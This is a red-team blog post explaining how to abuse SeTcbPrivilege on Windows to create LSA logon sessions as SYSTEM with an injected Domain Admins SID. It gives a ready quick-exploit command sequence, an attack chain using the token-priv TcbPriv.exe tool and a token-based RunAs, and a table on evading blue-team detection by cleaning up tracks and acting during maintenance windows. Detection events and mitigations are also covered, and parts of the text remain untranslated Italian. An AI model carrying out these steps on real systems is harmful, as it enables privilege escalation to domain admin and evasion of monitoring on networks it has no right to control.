windows

SeTcbPrivilege: Arbitrary LSA Logon Session to SYSTEM

SeTcbPrivilege: Arbitrary LSA Logon Session to SYSTEM

Found SeTcbPrivilege on a non-system account? Create LSA sessions with SID Domain Admins and get SYSTEM without external conditions. Red Team Technique.

  • Posted on 2026-06-19
  • Reading time: 4 min

You have SeTcbPrivilege on a non-system account — critical finding P0, document first . With this privilege, you can create official logon sessions via LSA with arbitrary SIDs, add Domain Admins to the token, and get SYSTEM without depending on any external conditions.


Quick Exploit #

cmd
accesschk.exe -a SeTcbPrivilege *
whoami /priv | findstr SeTcb
wmic group where "name='Domain Admins'" get SID
cmd
TcbPriv.exe -logontype SERVICE -user "NT AUTHORITY\SYSTEM"
RunAs.exe -token [handle] cmd.exe

Expected output:

text
nt authority\system

Attack Chain #

text
SeTcbPrivilege su account non-SYSTEM trovato
  → PRIMO: documenta come finding critico P0
  → wmic group → ottieni SID Domain Admins
  → TcbPriv.exe -logontype SERVICE -user "NT AUTHORITY\SYSTEM" -extra-sid [SID-DA]
  → sessione logon LSA creata con SID Domain Admins incluso
  → RunAs.exe con handle token → shell SYSTEM / accesso NTLM come DA

Tool Decision #

TargetTool
SYSTEM logon session via LSATcbPriv.exe da hatRiot/token-priv
Session with additional Domain Admin SIDTcbPriv.exe -extra-sid S-1-5-21-[DOMAIN]-512
Get Domain Admins SIDwmic group where "name='Domain Admins'" get SID
Check SID in PowerShell(Get-ADGroup "Domain Admins").SID.Value

What is SeTcbPrivilege? #

“Act as part of the operating system” — the process with this privilege is treated as part of the Trusted Computing Base (TCB). Unlock LsaLogonUser() with non-standard parameters:

  • Create service logon sessions for system accounts without knowing the password
  • Adds Arbitrary SIDs to the token during session creation (parameter groups)
  • Create sessions with custom LogonTypes that are not normally accessible

Unlike SeCreateTokenPrivilege which uses direct NT syscalls, SeTcbPrivilege works through LSAs — created sessions are considered “official” by the authentication system.

Normally exclusive to: lsass.exe, services.exe, winlogon.exeIf you find it on a non-system account → critical finding to be documented immediately.


When it exists #

In a normal pentest: almost never on non-system accounts. If it appears:

  • Serious misconfiguration — assigned in error via policy
  • Indicator of prior impairment — backdoor on service account

Verify:

cmd
whoami /priv

Looking for:

text
SeTcbPrivilege    Act as part of the operating system    Enabled

Instant Audit:

cmd
accesschk.exe -a SeTcbPrivilege *

Step 1 — Exploit with LsaLogonUser via token-priv #

Use hatRiot's PoC collection. Download it from hatRiot/token-priv :

cmd
TcbPriv.exe -logontype SERVICE -user "NT AUTHORITY\SYSTEM"

With additional SIDs — for example Domain Admins (S-1-5-21-[DOMAIN]-512):

cmd
TcbPriv.exe -logontype SERVICE -user "NT AUTHORITY\SYSTEM" -extra-sid S-1-5-21-1234567890-1234567890-1234567890-512

Find your domain's Domain Admins SID with:

cmd
wmic group where "name='Domain Admins'" get SID

Or in PowerShell:

powershell
(Get-ADGroup "Domain Admins").SID.Value

Step 2 — Start process with the created session token #

cmd
RunAs.exe -token [handle dalla sessione LsaLogonUser] cmd.exe

Output:

text
nt authority\system

Difference with SeCreateTokenPrivilege #

SeTcbPrivilegeSeCreateTokenPrivilege
APILsaLogonUser (via LSA)NtCreateToken (direct syscall)
Logon session✅ Official via LSA❌ Standalone token
Additional SIDs✅ Via parameter groups✅ Via token structure
RarityExtremeExtreme

In practice, both lead to the same result. The difference is technical: SeTcbPrivilege creates "official" sessions that pass through LSA, while SeCreateTokenPrivilege bypasses LSA entirely.


Event ID to know #

Event ID 4611 — Process registered as a trusted logon process via TCB:

text
A trusted logon process has been registered with the Local Security Authority.
Subject: [account che ha usato SeTcbPrivilege]
Logon Process Name: [nome del processo]

One alert out of 4611 from non-standard processes (lsass.exe, winlogon.exe) is a critical signal that something abnormal is going on.


Real-world scenarios #

Finding SeTcbPrivilege on a non-SYSTEM account is almost always:

  1. Serious misconfiguration — an admin assigned the privilege by mistake (e.g. via a misconfigured policy)
  2. Indicator of prior impairment — a previous attacker installed a backdoor on this account

In both cases: document, report as a P0 critical finding, and then exploit.


Common mistakes #

LsaLogonUser → STATUS_PRIVILEGE_NOT_HELD — SeTcbPrivilege not enabled. Verify: whoami /priv | findstr SeTcb.

Additional SIDs do not appear in the resulting token — SeTcbPrivilege is not active. Without TCB, the parameter groups LsaLogonUser is silently ignored — the token is created but without the extra SIDs.

Kerberos network resources block access — PAC validation. The DA SID token works for NTLM and local access. For Kerberos resources, a PTH with real hashes or a Golden Ticket is required.


Detection and bypass (Red Team view) #

What the Blue Team detectsHow the Red Team bypasses it
Event ID 4611 — abnormal logon process registrationAct quickly and clean up the tracks — this event is almost always an immediate alert in SOCs
LsaLogonUser with LogonType SERVICE from non-SYSTEM processHard to hide — act during maintenance windows
Non-SYSTEM account with SeTcbPrivilege in auditFinding — remove privilege from account after completing

When it fails #

  • LsaLogonUser → STATUS_PRIVILEGE_NOT_HELD → SeTcbPrivilege not Enabled
  • Extra SIDs missing from token → SeTcbPrivilege not active in current token
  • Kerberos PAC validation → use NTLM or PTH

Mitigations #

  • Never assign SeTcbPrivilege to non-system accounts
  • Periodic audit: accesschk.exe -a SeTcbPrivilege *
  • Monitor Event ID 4611 for abnormal logon process registrations
  • Protected Users for privileged accounts

Realistic note: Finding SeTcbPrivilege on a non-system account in production is almost always a sign of a previous compromise or a misconfigured policy that incorrectly granted the privilege. This is a P0 finding that should be reported immediately—before any exploitation.


FAQ #

Why does lsass.exe have SeTcbPrivilege? To create session tokens during logon. Each login calls LsaLogonUser with SeTcbPrivilege to construct the token with the correct user groups.

Practical difference with SeCreateTokenPrivilege? SeCreateTokenPrivilege uses NtCreateToken (direct syscall, standalone token). SeTcbPrivilege uses LsaLogonUser (via LSA, official session). In practice, both lead to the same result—the distinction is technical.

Will I ever see this on non-system accounts in a pentest? Rarely. If you do, it's an immediate P0.


SeTcbPrivilege on a non-system account = previous compromise or critical misconfiguration. Always document before exploiting.


Related articles:

References: token-priv PoC · Microsoft Docs

#setcbprivilege #lsa-logon-session #token-forgery

leave a message

I'm not a robot